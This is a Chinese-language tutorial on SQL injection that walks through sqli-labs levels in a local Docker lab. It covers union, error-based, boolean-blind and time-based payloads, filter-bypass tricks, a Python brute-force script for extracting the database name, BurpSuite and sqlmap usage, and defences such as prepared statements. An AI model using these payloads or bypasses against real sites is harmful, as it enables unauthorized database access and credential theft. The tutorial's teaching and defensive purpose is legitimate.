当前位置: 首页 > news >正文

[漏洞篇]SQL注入漏洞详解

[漏洞篇]SQL注入漏洞详解

介绍

把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。通过构造恶意的输入,使数据库执行恶意命令,造成数据泄露或者修改内容等,以达到攻击的目的。主要是由于应用程序对用户的输入没有进行严格的过滤而造成的。

基础知识

判断注入方式

按照参数类型分为:数字型/字符型
按照注入方式分为:

  • 联合注入
  • 报错注入
  • 延时注入
  • 布尔盲注

这里主要介绍常见的几种注入,其他的注入还包括:宽字节注入、Cookie注入等,详细可查看:https://www.freebuf.com/articles/web/339118.html

按照参数类型分:
1. 数字型:引号 - 永真 - 永假

当输入的参数为整形时,如果存在注入漏洞,可以认为是数字型注入。
测试步骤:
(1) 加引号(单引号/双引号),URL:www.text.com/text.php?id=3’
对应的sql:select * from table where id=3’ 这时sql语句出错,程序无法正常从数据库中查询出数据,就会抛出异常;
(2) 加and 1=1 ,URL:www.text.com/text.php?id=3 and 1=1
对应的sql:select * from table where id=3’ and 1=1 语句执行正常,与原始页面无任何差异;
(3) 加and 1=2,URL:www.text.com/text.php?id=3 and 1=2
对应的sql:select * from table where id=3 and 1=2 语句可以正常执行,但是无法查询出结果,所以返回数据与原始网页存在差异
如果满足以上三点,则可以判断该URL存在数字型注入。

2. 字符型:引号-引号用真/永真注释-引号永假/永假注释

当输入的参数为字符串时,称为字符型。字符型和数字型最大的一个区别在于,数字型不需要单引号来闭合,而字符串一般需要通过单引号来闭合的。

例如数字型语句:select * from table where id =3
则字符型如下:select * from table where name=’admin’
因此,在构造payload时通过闭合单引号可以成功执行语句:
测试步骤:
(1) 加引号(单引/双引号):select * from table where name=’admin’’
由于加引号后变成三个单引号(双引号),则无法执行,程序会报错;
(2) 引号用真:’ and ‘1’='1

SELECT * FROM users WHERE id='1' and '1'='1';

这里因为我们添加了永真条件,所以页面不会变化。

这里我们也可以使用注释:比如添加’ and 1 = 1 --+
– 注意,这种注释符后边有一个空格(如果在URL中,空格可以改为+或者%20,因为需要进行编码)

SELECT * FROM users WHERE id='1' and 1 =1 -- ' ;

(3) 引号永假:’ and ‘1’ = '2
这里因为我们添加了永假,所以页面会发生变化,不会显示数据。

SELECT * FROM users WHERE id='1' and '1' = '2' ;

判断列数:
?id=1’ order by 4# 报错
?id=1’ order by 3# 没有报错,说明存在3列
爆出数据库:
?id=-1’ union select 1,database(),3–+
?id=-1’ union select 1,group_concat(schema_name),3 from information_schema.schemata#
爆出数据表:
?id=-1’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘数据库’#
爆出字段:
?id=-1’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘数据表’#
爆出数据值:
?id=-1’ union select 1,group_concat(0x7e,字段,0x7e),3 from 数据库名.数据表名–+

# 拓展一些其他函数(以MySQL为例):
system_user() 系统用户名
user() 用户名
current_user 当前用户名
session_user()连接数据库的用户名
database() 数据库名
version() MYSQL数据库版本
load_file() MYSQL读取本地文件的函数
@@datadir 读取数据库路径
@@basedir MYSQL 安装路径
@@version_compile_os 操作系统
多条数据显示函数:
concat()、group_concat()、concat_ws()
按注入方式分:
1. 联合注入(union注入):适用于显示列的注入

这种查询原理是把前面值整成错误的(id=-1’ 或者id=1’ and 1=2 后面加上union语句),这样就会执行union后语句。union联合查询适用于有显示列的注入。

如果页面有反显(随着请求参数不同,页面显示不同,表明可以使用联合注入)

  • Order by 判断查询列数(4时错误,3时正确,可得知,当前表有3列 ):
?id=1' and '1'='1' order by 1--+  页面回显正常
?id=1' and '1'='1' order by 2--+  页面回显正常
?id=1' and '1'='1' order by 3--+  页面回显正常
?id=1' and '1'='1' order by 4--+  出现报错界面# 可知查询语句主有3列
  • Union select xx,xx,xx判断反显列:
    ?id=1’ and 1=2 union select 1 ,2 ,3 --+
2. 报错注入

通过数据库函数/语法报错,反显数据库敏感信息

  1. UPDATEXML 是 MySQL 中的一个 XML 函数,用于解析 XML 数据并返回结果。
    UPDATEXML(xml_target, xpath_expr, new_xml)
  • xml_target:要操作的 XML 文档。
  • xpath_expr:一个字符串,表示 XPath 表达式,用于指定要更新的节点。
  • new_xml:要替换的新的 XML 内容。
    在SQL注入中,不妨把他简化为updatexml(xx,concat(xx),xx),concat函数用来拼接字符,当第二个参数为非xpath格式就会把校验失败的数据爆出来。由于要的只是第二个参数,一三随便写即可
  1. EXTRACTVALUE 是 MySQL 中的一个函数,用于从 XML 文档中提取指定的值。该函数使用 XPath 表达式从 XML 数据中选择和返回节点的文本内容。
    EXTRACTVALUE(xml_frag, xpath_expr)
  • xml_frag:包含 XML 数据的字符串。
  • xpath_expr:一个字符串,表示 XPath 表达式,用于指定要提取的节点。
    在SQL注入中,不妨把他简化为extractvalue(xx,concat(xx)),concat函数用来拼接字符,当第二个参数为非xpath格式 就会把校验失败的数据爆出来。由于要的只是第二个参数,参数一随便写即可。

演示:
在这里插入图片描述

3. 布尔盲注

查询数据无反显且页面存在两种状态

布尔盲注常用函数:

database()          显示数据库名称
left(a,b)          从左侧截取a的前b位
substr(a,b,c) 从b位置开始,截取字符串a的c长度
mid(a,b,c)    从位置b开始,截取a字符串的c位
length()      返回字符串的长度
Ascii()       将某个字符转换为ascii值
char()        将ASCII码转换为对应的字符

Left判断
?id=1’ and left(database(),1)=‘s’ --+
?id=1’ and left(database(),2) > ‘sa’ --+
Like语句判断
?id=1’ and (select table_name from information_schema.tables where table_schema=database() limit 0,1)like ‘e%’ --+
Ascii语句判断
and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=115 --+

4. 延时注入

布尔盲注是进行逻辑判断,适用与注入页面存在两种状态:正常页面/报错页面
时间盲注是进行IF判断联合sleep函数执行,适用于注入页面只存在一种状态

判断注入点:
?id=1’ and sleep(5)–+ //正常休眠
?id=1" and sleep(5)–+ //无休眠
?id=1’) and sleep(5)–+//无休眠
?id=1") and sleep(5)–+//无休眠
?id=1’ and if(length(database())=8,sleep(10),1)–+

  • 爆出数据库:
    ?id=1’ and if(ascii(substr(database(),1,1))=115,1,sleep(10))–+
    通过判断服务器没有睡眠,ascii码转换115为s ,那么就得出数据库第一个字符为s,下面就可以依次类推了
    substr(database(),N,1)可以通过改变N的值来判断数据的第几个字符是什么
  • 爆出数据表:
    ?id=1’ and if((select ascii(substr((select table_name from information_schema.tables where table_schema=“security"limit 0,1),1,1)))=101,sleep(5),1) --+
    解释:security的第一张表的第一个字符ascii为101,为字符e
    limit 0,1),N,1还是改变N的值,得出第二个字符
    再判断字符(ascii判断)
    ?id=1” and if(ascii(substr(database(),1,1))>115,1,sleep(3)) --+
    (left语句判断)
    ?id=1’ and if(left(database(),1)=‘s’,sleep(10),1) --+
    ?id=1’ and if(left(database(),2)=‘sa’,sleep(10),1) --+
    Substring函数判断
    type=if(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1=‘a’),11111,sleep(1)) --+

SQL注入绕过过滤

一些网站为了防止SQL注入,会通过过滤关键字、过滤注入符等方式来防止SQL注入漏洞。
为了对抗这种方法,我们可以选择通过某种方式绕过过滤。下面主要介绍几种常见的绕过场景:

1. 过滤关键字

过滤关键字应该是最常见的过滤了,因为只要把关键字一过滤,你的注入语句基本就不起作用了。

绕过方法:
(1)最常用的绕过方法就是用/**/,<>,分割关键字

sel<>ect
sel/**/ect

(2)双写绕过:根据过滤程度,有时候还可以用双写绕过

selselectect

(3)既然是过滤关键字,大小写应该都会被匹配过滤,所以大小写绕过一般是行不通的。
(4)有时候还可以使用编码绕过(URL编码绕过:16进制、ASCII编码绕过)

2. 过滤逗号

常见的几种注入方法基本上都要使用逗号,要是逗号被过滤了,那就只能想办法绕过了。

(1)简单注入可以使用join方法绕过

# 原语句
union select 1,2,3# 改为join绕过逗号过滤
union select * from (select 1)a join (select 2)b join (select 3)
3. 过滤空格
(1)双空格
(2)/**/
(3)用括号绕过
(4)用回车代替 //ascii码为chr(13)&chr(10),url编码为%0d%0a
4. 过滤等号
可以使用like 、rlike 、regexp 或者 使用< 或者 > 来代替
5. 过滤大于/小于号
(1)greatest(n1,n2,n3,...)  //返回其中的最大值
(2)strcmp(str1,str2) //当str1=str2,返回0,当str1>str2,返回1,当str1<str2,返回-1
(3)in 操作符
(4)between   and   //选取介于两个值之间的数据范围。这些值可以是数值、文本或者日期。

实战

靶场搭建

  1. docker搭建靶场

这里使用docker搭建靶场,没有docker的推荐直接安装docker desktop,下载安装后执行docker version检测是否安装成功。

  • 下载地址:https://docs.docker.com/desktop/setup/install/windows-install/
    在这里插入图片描述
# 搜索镜像
docker search sqli-labs# 选择合适的镜像
docker pull acgpiano/sqli-labs
## 手动指定镜像源下载
docker pull hub.daocloud.io/nginx:1.27.0# 运行容器
docker run -d --name my-sqli-labs -p 80:80 acgpiano/sqli-labs 
# 如果是mac arm芯片遇到如下告警:The requested image's platform (linux/amd64) does not match the detected host platform (linux/arm64/v8) and no specific platform was requested
# 表明我们拉取的镜像架构有问题,使用下面命令拉取对应镜像即可
docker run -d --platform linux/amd64 --name my-sqli-labs -p 80:80 acgpiano/sqli-labs # 访问页面准备打靶
http://localhost
  1. 点击页面Setup/reset Database初始化靶场数据,初始化数据库等
    在这里插入图片描述

  2. 选择对应关卡进行挑战:
    http://localhost/Less-2/?id=1

  3. Url输入,进行访问
    http://localhost/Less-1/?id=1

Less1:字符型注入

为了理解方便,我们可以直接将后台执行的SQL语句打印到页面上。

  1. 修改源码:/var/www/html目录下对应的php文件,将SQL语句展示出来。修改后,刷新页面即可
  2. 添加echo "$sql<br/>";
    在这里插入图片描述
  1. 判断注入方式

①根据页面提示,让我们输出id参数,且id的值为数字
在这里插入图片描述
②我们在URL后添加?id=1,观察页面变化

可以看到成功查询出信息

在这里插入图片描述
③我们修改URL中的参数,来试探注入方式(字符型还是数字型)

    1. 我们首先尝试数字型注入:添加单引号,发现报错
      在这里插入图片描述
    1. 我们尝试添加 and 1=2 永假,如果是数字型注入,这种方式页面应该不会显示内容。但实际页面显示了内容,因此可以判定不是数字型注入
      在这里插入图片描述
    1. 下面尝试字符型注入,首先输入单引号,发现报错
    1. 然后我们尝试引号用真,输入’ and ‘1’='1 发现正常显示
      在这里插入图片描述
    1. 最后尝试引号永假,输入’ and ‘1’='2 ,发现页面无法显示内容。至此可判定为字符型注入
      在这里插入图片描述
  1. 执行注入

知道参数类型之后,下面我们就可以尝试爆破获取数据库内容等信息,首先因为数据有在页面反显,所以我们采取联合注入(union注入)。

  1. 通过order by判断原始SQL查询列数
 # 页面显示正常,SQL语句中,order by 1 表明用查询结果的第一列排序?id=1' and 1=1 order by 1 --+ ...?id=1' and 1=1 order by 3 --+ # 此时我们发现页面显示错误,可以知道,查询结果有3列?id=1' and 1=1 order by 4 --+ 

在这里插入图片描述
2. 我们通过union判断页面反显的是哪几列

在这里插入图片描述
3.接下来我们就可以使用数据库内置的一些函数来获取敏感信息了

# MySQL数据库内置函数
version():查看数据库版本
database():查看使用的数据库
user():查看当前用户
limit:limit子句分批来获取所有数据
group_concat():一次性获取所有的数据库信息
  1. 获取数据库名、数据库版本信息。此时我们已经算获取到了敏感信息,到这里就可以算结束了,但是为了给大家演示SQL注入的危害,我们可以进一步下钻。

在这里插入图片描述
5. 尝试获取表名。思路:information_schema.tables已经包含了所有的表,前面我们已经爆破出了数据库名,那么我们只需要截取一下,就可以知道上面的security库下有哪些表了

# 基础知识
information_schema.tables:包含了数据库里所有的表
table_name:表名
table_schema:数据库名
column_name:字段名
group_concat():一次性获取所有的数据库信息
# 通过在URL中输入如下字符,即可爆破出表
?id=-1' union select 1,database(),group_concat(table_name) from
information_schema.tables where table_schema=database()--+

在这里插入图片描述
6. 此时,我们发现了users表,按照开发习惯,用户名、密码都在一张表中,于是我们可以验证

group_concat():分组后拼接,默认使用逗号分隔
# 输入下面信息,即可爆破出对应表的字段
?id=-1' union select 1,2,group_concat(column_name)from
information_schema.columns where table_name='users'--+

在这里插入图片描述
7. 接下来就是重头戏了,我们获取该表中其他用户的用户名和密码

 # 0x5c 在ASCII中代表\?id=-1' union select 1,2,group_concat(0x5c,username,0x5c,password) from users--+

在这里插入图片描述

Less2:数字型注入

步骤与Less1 第一关同理,判断注入方式

  1. 首先用引号判断,发现报错,且报错信息中未显示我们传入的id值
    在这里插入图片描述
    在这里插入图片描述
  2. 使用永真条件判断,正常显示
    在这里插入图片描述
  3. 使用永假判断,发现不显示,由此我们可以确定输入方式是数字型
    在这里插入图片描述
  4. 后续的注入就和之前类似,因为都有反显数据,所以直接使用联合注入
    在这里插入图片描述

Less5:报错注入

本关将会给大家演示报错注入攻击手段。
参考文章:https://www.cnblogs.com/xinghaihe/p/18409705

  1. 首先判断参数类型(过程同上),本关的参数类型为字符
    是正常的'闭合的字符型,但是在联合注入1' union select 1,2,3--+没有回显注入点,只是回显You are in,因此无法使用联合注入,考虑使用报错注入或者盲注。
    在这里插入图片描述
  2. 报错注入函数介绍
  1. UPDATEXML 是 MySQL 中的一个 XML 函数,用于解析 XML 数据并返回结果。
    UPDATEXML(xml_target, xpath_expr, new_xml)
  • xml_target:要操作的 XML 文档。
  • xpath_expr:一个字符串,表示 XPath 表达式,用于指定要更新的节点。
  • new_xml:要替换的新的 XML 内容。
    在SQL注入中,不妨把他简化为updatexml(xx,concat(xx),xx),concat函数用来拼接字符,当第二个参数为非xpath格式就会把校验失败的数据爆出来。由于要的只是第二个参数,一三随便写即可
  1. EXTRACTVALUE 是 MySQL 中的一个函数,用于从 XML 文档中提取指定的值。该函数使用 XPath 表达式从 XML 数据中选择和返回节点的文本内容。
    EXTRACTVALUE(xml_frag, xpath_expr)
  • xml_frag:包含 XML 数据的字符串。
  • xpath_expr:一个字符串,表示 XPath 表达式,用于指定要提取的节点。
    在SQL注入中,不妨把他简化为extractvalue(xx,concat(xx)),concat函数用来拼接字符,当第二个参数为非xpath格式 就会把校验失败的数据爆出来。由于要的只是第二个参数,参数一随便写即可。
  1. 介绍了上面函数之后,下面我们可以使用内置的函数进行报错注入

0x7e~,方便我们在报错回显中找到数据。
主要思路:通过数据库内置函数,拼接需要的内容作为路径,报错后路径被爆出,从而得到数据。

# updatexml报错注入
?id=1' and updatexml(1,concat(0x7e,(select database() ),0x7e),1) --+
'回显:XPATH syntax error: '~security~'?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security' ),0x7e),1) --+
'回显:XPATH syntax error: '~emails,referers,uagents,users~'?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),0x7e),1)--+
'回显:XPATH syntax error: '~id,username,password~'?id=1' and updatexml(1,concat(0x7e,(select group_concat(username) from security.users),0x7e),1)--+
'回显:XPATH syntax error: '~Dumb,Angelina,Dummy,secure,stup'# extractvalue报错注入
?id=1' and extractvalue(1,concat(0x7e,(select database() ),0x7e))--+
'回显:XPATH syntax error: '~security~'?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security' ),0x7e))--+
'XPATH syntax error: '~emails,referers,uagents,users~'?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),0x7e))--+
'XPATH syntax error: '~id,username,password~'?id=1' and extractvalue(1,concat(0x7e,(select group_concat(username) from security.users),0x7e))--+
'XPATH syntax error: '~Dumb,Angelina,Dummy,secure,stup'
  1. 通过updatexml函数爆出数据库名
?id=1' and updatexml(1,concat(0x7e,(select database() ),0x7e),1) --+

在这里插入图片描述

Less8:布尔盲注

  1. 来到第8关,我们首先尝试判断参数是字符型还是数字型(本题是字符型),同时发现页面没有反显数据,接着我们尝试报错注入,结果发现页面没有反显数据,同时报错信息也没有反显到页面上。因此联合注入、报错注入都无效
    在这里插入图片描述
  2. 我们发现当输入正确数值时,页面会反显you are in…,当输入永假条件时,页面什么都不显示。利用这个特性,可以使用布尔盲注。
    在这里插入图片描述
    在这里插入图片描述
  3. 我们通过一些bool类型的判断语句来侧面验证并获取敏感信息,例如:获取数据库名字长度。and length(database())=8 。如果页面有反显You are in…,说明数据库长度为8,如果不反显说明不为8,我们可以利用二分法,快速猜解。
# 页面有反显,说明数据库名长度=8。结合前面关卡,我们已经知道数据库为:security,其长度正好为8
?id=1' and length(database())= 8 --+

在这里插入图片描述
4. 除了猜测数据库长度,我们还可以猜测数据库版本、数据库名、表名、字段名等
这里我们可以通过脚本或者BurpSuite等工具去爆破

# 猜数据库版本
?id=1' and left(version(),1)=5 --+
# 猜数据库名
?id=1'and left(database(),1)>'a'--+
# 猜表名
?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 3,1),5)="users"--+
# 猜测字段名
?id=1' and left((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 1,1),8)="username"--+
  1. 通过python脚本爆破提高效率
    在这里插入图片描述
    python脚本:
# -*- coding:utf8 -*-
import requestsurl = 'http://localhost/Less-8/?id=1%27'  # 这个url要对应你自己的url
payload = " and%20left({d}(),{n})=%27{s}%27%20--%20k"
list1 = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v','w', 'x', 'y', 'z', '@', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0']  # 字典
str1 = "You are in..........."  # 就是通过返回的页面里有没有这个字符串来判断盲注有没有成功def blind_sql_injection(url, payload, list1, str1, function_name, max_length=20):result = ''for i in range(1, max_length + 1):for ss in list1:p = payload.format(d=function_name, n=i, s=result + ss)try:u = requests.get(url + p)if str1 in u.content.decode('utf-8'):result += ssprint(f"正在对比{function_name}{i} 个字符: {result}")breakexcept requests.RequestException as e:print(f"请求失败: {e}")breakprint(f"对比成功,{function_name}为: {result}")return result# 开始对比database()
database = blind_sql_injection(url, payload, list1, str1, 'database', max_length=10)print(f"database-->{database}")
  1. 除了python脚本,我们也可以使用BurpSuite提升我们的效率
  1. 打开BurpSuite并配置代理,然后页面请求输入?id=1’and substr(database(),1,1) = ‘s’–+ 进行抓包,并发送到攻击模块
    在这里插入图片描述
  2. 进入攻击面板,选择攻击模式,将对应位置的值替换为变量
    在这里插入图片描述
    替换后的效果:
    在这里插入图片描述
  3. 配置变量的值
    在这里插入图片描述
  4. 点击发起攻击,对响应结果按长度进行排序,根据数据库长度为8我们可以知道,最后结果只有8个正确成功的请求,因此定位到Length应该为918。然后根据两个变量对应的值,即可知道数据库名第一个字母为s,第二个为e,其他依次类推,最后成功爆破出数据库名。
    在这里插入图片描述

Less9:延时注入

布尔盲注是进行逻辑判断,适用与注入页面存在两种状态:正常页面/报错页面
延时注入是进行IF判断联合sleep函数执行,适用于注入页面只存在一种状态

  1. 来到第9关,我们发现页面数据无回显,且报错无回显、同时页面无两种状态,这时只有祭出神器,延时注入(if判断+sleep函数)
  2. 首先判断参数类型,看是数字型注入还是字符型注入
# 发现页面并没有加载5s,说明不是数字型
?id=1 and sleep(5)--+
# 尝试字符型,发现页面有加载5s,说明本次注入方式为字符型
?id=1' and sleep(5)--+
  1. 下面我们就可以结合if和sleep函数进行延时注入了
# 判断数据库长度,是否为8,如果为8,则页面休眠4s,否则页面应快速加载出数据
?id=1'and if(length(database())=8,sleep(4),1)--+
# 这种方法可以理解为另类的布尔盲注,其他爆破出字段名、数据库名同理,但这种方式容易收到网络影响,
#比如因为网络原因导致页面休眠时间不准或误判等

在这里插入图片描述

SQLMap:SQL漏洞检测爆破工具

除了上面我们手动去检测破解之外,我们也可以使用SQL漏洞神器sqlmap进行扫描和爆破
这里我直接使用kali来进行实验(kali中自带sqlmap)

# 检测库
sqlmap -u "http://10.35.22.12/Less-1/?id=1" --batch -dbs

例:爆破数据库
在这里插入图片描述
在这里插入图片描述

防范

1. 使用预编译语句

绑定变量,攻击者无法改变SQL的结构。不同的编程语言Java、Php有不同的语法,此处不再展示。

预编译防止SQL注入的原理:
正常情况下,用户输入的参数会直接参与SQL语法的编译,而预编译则是先构建语法树,确定SQL语法结构以后,再拼接用户的参数。注入的恶意SQL语句只会被视为参数,参与不了SQL语句的语法树构建,也就无法改变其语法结构,也就无法达到编译恶意语句的目的。

比如:

  1. 不使用预编译,用单引号提前闭合的方式注入恶意SQL语句
    select count(1) from students where name=‘张三’ or ‘1=1’;
  2. 使用了预编译:
    select count(1) from students where name=‘张三” or “1=1’;

这里payload是张三’ or ‘1=1,会被当做参数,单引号会被转义成’‘,从数据库查的时候,查的就是name=‘张三’ or ‘1=1’,而数据库不会存在名字为’张三’ or '1=1’的人,所以查不到。

预编译的机制是先编译,再传值,用户传递的参数无法改变SQL语法结构,从根本上解决了SQL注入的问题。但并不是所有参数都可以使用预编译。

比如动态表名和列名的场景。:在生成语法树的过程中,预处理器在进一步检查解析后的语法树时,会检查数据表和数据列是否存在,因此数据表和数据列不能被占位符?所替代。但在很多业务场景中,表名需要作为一个变量存在,因此这部分仍需由加号进行SQL语句的拼接,若表名是由外部传入且可控的,仍会造成SQL注入。

2. 使用存储过程

使用安全的存储过程对抗SQL注入,由于存储过程中也可能存在SQL注入问题,应尽量避免使用动态SQL语句。

3. 输入验证、过滤

输入验证和过滤是一种用于确保用户输入数据的安全性和有效性的技术。它可以防止恶意输入和错误数据导致的安全漏洞和应用程序错误。在Java中,可以使用正则表达式和内置的输入验证方法来实现输入验证和过滤。

4. 使用安全函数

各个厂商都有一些安全函数,例如,微软SQL安全函数

5. 最小权限原则

最小权限原则是一种安全性原则,指的是为了保护敏感数据和系统资源,用户应该被授予最小必需的权限。这意味着用户只能访问和执行他们工作所需的数据库对象和操作,而不是拥有对整个数据库的完全访问权限。

其他专业名词:RCE、EXP等

  • POC:全称 ’ Proof of Concept ',中文 ’ 概念验证 ’ ,常指一段漏洞证明的代码。
  • Exp: 全称“Exploit”,中文“利用”,指利用系统漏洞进行攻击的动作。
  • Payload: 中文“有效载荷”,指成功 exploit 之后,真正在目标系统执行的代码或指令
  • RCE: RCE(remote command/code execute) 可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。 。由于程序中预留了执行代码或者命令的接口[如网络设备的web管理界面,自动化运维系统],并且提供了给用户使用的界面,导致被黑客利用, 控制服务器.
  • Shellcode: 简单翻译“shell 代码”,是 Payload 的一种,由于其建立正向/反向 shell 而得名
  • lOC: Indicator of compromise (IOC) ,失陷指标 般是被动产生的,一般命中就表示设备或者网络已经失陷 常见的IOC有 md5 哈希、C2 域或硬编码IP 地址、注册表项和文件名 般IP地址和URL都会做defang处理,可以借助cyberchef的defang实现。

注意:

  1. POC是用来证明漏洞存在的,EXP是用来利用漏洞的,两者通常不是一类,或者说,PoC通常是无害的,Exp通常是有害的,有了POC,才有EXP。
  2. Payload有很多种,它可以是Shellcode,也可以直接是一段系统命令。同一个Payload可以用于多个漏洞,但每个漏洞都有其自己的EXP,也就是说不存在通用的EXP。
  3. Shellcode也有很多种,包括正向的,反向的,甚至meterpreter。
  4. Shellcode与Shellshcok不是一个,Shellshock特指14年发现的Shellshock漏洞。

总结:

想象自己是一个特工,你的目标是监控一个重要的人,有一天你怀疑目标家里的窗子可能没有关,于是你上前推了推,结果推开了,这是一个POC。之后你回去了,开始准备第二天的渗透计划,第二天你通过同样的漏洞渗透进了它家,仔细查看了所有的重要文件,离开时还安装了一个隐蔽的录音笔,这一天你所做的就是一个EXP,你在他家所做的就是不同的Payload,就把录音笔当作Shellcode吧!

参考文章:
https://www.cnblogs.com/wuhanjiayou/p/18317978/Union-SQL
https://www.cnblogs.com/sunny11/p/13583083.html
https://www.freebuf.com/articles/web/399935.html

相关文章:

[漏洞篇]SQL注入漏洞详解

[漏洞篇]SQL注入漏洞详解 介绍 把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串&#xff0c;最终达到欺骗服务器执行恶意的SQL命令。通过构造恶意的输入&#xff0c;使数据库执行恶意命令&#xff0c;造成数据泄露或者修改内容等&#xff0c;以达到攻击的目的。…...

【apt源】RK3588 平台ubuntu20.04更换apt源

RK3588芯片使用的是aarch64架构&#xff0c;因此在Ubuntu 20.04上更换apt源时需要使用针对aarch64架构的源地址。以下是针对RK3588芯片在Ubuntu 20.04上更换apt源到清华源的正确步骤&#xff1a; 步骤一&#xff1a;打开终端 在Ubuntu 20.04中&#xff0c;按下Ctrl Alt T打…...

Maven

什么是Maven&#xff1f; Maven是一个项目管理工具&#xff0c;基于POM&#xff08;Project Object Model&#xff0c;项目对象模型&#xff09;的概念呢&#xff0c;Maven可以通过一小段描述信息来管理项目的构建&#xff0c;报告和文档的项目管理工具软件。 Maven包含了一个…...

软件工程概论试题五

一、多选 1.好的软件的基本属性包括()。 A. 效率 B. 可依赖性和信息安全性 C. 可维护性 D.可接受性 正答&#xff1a;ABCD 2.软件工程的三要素是什么()? A. 结构化 B. 工具 C.面向对象 D.数据流! E.方法 F.过程 正答&#xff1a;BEF 3.下面中英文术语对照哪些是正确的、且是属…...

Python量化交易助手:xtquant的安装与应用

Python量化交易助手&#xff1a;xtquant的安装与应用 技术背景和应用场景 在量化交易领域&#xff0c;Python因其强大的库支持和灵活性成为了许多开发者的首选语言。其中&#xff0c;xtquant 是迅投官方开发的一个Python包&#xff0c;专门用于与miniqmt通信&#xff0c;实现…...

opencv图像处理框架

一.课程简介与环境配置 二.图像基本操作 (1)计算机眼中的视觉 1)计算机眼中图像是由一块块组成&#xff0c;每一块又由很多很多个像素点组成&#xff0c;一个像素点的值是在0到255之间&#xff0c;值越大就越亮。 2)RGB表示彩色图像的三个颜色通道(红绿蓝)&#xff0c;一张…...

MotionLCM 部署笔记

目录 依赖项 humanml3d&#xff1a; sentence-t5-large 下载数据&#xff1a; 报错&#xff1a;No module named sentence_transformers 继续报错&#xff1a;from transformers.integrations import CodeCarbonCallback 解决方法&#xff1a; 推理相关 GitHub - Dai-W…...

BUUCTF_[安洵杯 2019]easy_web(preg_match绕过/MD5强碰撞绕过/代码审计)

打开靶场&#xff0c;出现下面的静态html页面&#xff0c;也没有找到什么有价值的信息。 查看页面源代码 在url里发现了img传参还有cmd 求img参数 这里先从img传参入手&#xff0c;这里我发现img传参好像是base64的样子 进行解码&#xff0c;解码之后还像是base64的样子再次进…...

LLM - 基于LM Studio本地部署DeepSeek-R1的蒸馏量化模型

文章目录 前言开发环境快速开始LM Studio简单设置模型下载开始对话 模型选择常见错误最后 前言 目前&#xff0c;受限于设备性能&#xff0c;在本地部署的基本都是DeepSeek-R1的蒸馏量化模型&#xff0c;这些蒸馏量化模型的表现可能并没有你想象的那么好。绝大部分人并不需要本…...

Intel 与 Yocto 项目的深度融合:全面解析与平台对比

在嵌入式 Linux 领域&#xff0c;Yocto 项目已成为构建定制化 Linux 发行版的事实标准&#xff0c;广泛应用于不同架构的 SoC 平台。Intel 作为 x86 架构的领导者&#xff0c;在 Yocto 生态中投入了大量资源&#xff0c;为其嵌入式处理器、FPGA 和 AI 加速硬件提供了完整的支持…...

2025-工具集合整理

科技趋势 github-rank &#x1f577;️Github China/Global User Ranking, Global Warehouse Star Ranking (Github Action is automatically updated daily). 科技爱好者周刊 制图工具 D2 D2 A modern diagram scripting language that turns text to diagrams 文档帮助 …...

快速提升网站收录:利用网站新闻发布功能

本文转自&#xff1a;百万收录网 原文链接&#xff1a;https://www.baiwanshoulu.com/63.html 利用网站新闻发布功能快速提升网站收录是一个有效的策略。以下是一些具体的建议&#xff0c;帮助你更好地利用这一功能&#xff1a; 一、保持新闻更新频率 搜索引擎尤其重视网站的…...

wxss样式模板,全局配置window

1 wxss样式模板 1.1什么是wxss 1.2 rpx 1.3 样式导入 1.4 全局样式 1.5局部样式 2 全局配置 2.1 全局配置window 2.2 window 导航栏区域...

git多人协作

目录 一、项目克隆 二、 1、进入克隆仓库设置 2、协作处理 3、冲突处理 4、多人协作分支的推送拉取删除 1、分支推送&#xff08;2种&#xff09; 2、远程分支拉取&#xff08;2种&#xff09; 3、远程分支删除 一、项目克隆 git clone 画船听雨眠/test1 (自定义的名…...

Maven全解析:从基础到精通的实战指南

概念&#xff1a; Maven 是跨平台的项目管理工具。主要服务基于 Java 平台的构建&#xff0c;依赖管理和项目信息管理项目构建&#xff1a;高度自动化&#xff0c;跨平台&#xff0c;可重用的组件&#xff0c;标准化的流程 依赖管理&#xff1a; 对第三方依赖包的管理&#xf…...

使用Pytorch训练一个图像分类器

一、准备数据集 一般来说&#xff0c;当你不得不与图像、文本或者视频资料打交道时&#xff0c;会选择使用python的标准库将原始数据加载转化成numpy数组&#xff0c;甚至可以继续转换成torch.*Tensor。 对图片而言&#xff0c;可以使用Pillow库和OpenCV库对视频而言&#xf…...

除了成本核算,还有哪些财务分析工具可以提高工作效率?

除了成本核算&#xff0c;财务工作中还有多种分析工具可以提高工作效率&#xff0c;以下是详细介绍&#xff1a; 一、数据可视化工具 Power BI&#xff1a;这是一款强大的数据可视化工具&#xff0c;通过创建交互式报表、仪表板和图表来展示财务数据。它易于使用&#xff0c;提…...

【SSM】Spring + SpringMVC + Mybatis

SSM课程&#xff0c;以下为该课程的笔记 bean&#xff1a;IOC容器创建的对象 P12 bean的生命周期 在bean中定义init()和destroy()方法&#xff0c;然后在xml中配置方法名&#xff0c;让bean对象能找到对应的生命周期方法。 或通过实现接口的方式定义声明周期方法。 P13 sett…...

Windows图形界面(GUI)-QT-C/C++ - QT Tab Widget

公开视频 -> 链接点击跳转公开课程博客首页 -> ​​​链接点击跳转博客主页 目录 一、概述 1.1 什么是 QTabWidget&#xff1f; 1.2 使用场景 二、常见样式 2.1 选项卡式界面 2.2 动态添加和删除选项卡 2.3 自定义选项卡标题和图标 三、属性设置 3.1 添加页面&…...

pstricks PGFTikz 在CTeX套装中绘图Transparency或Opacity失效的问题

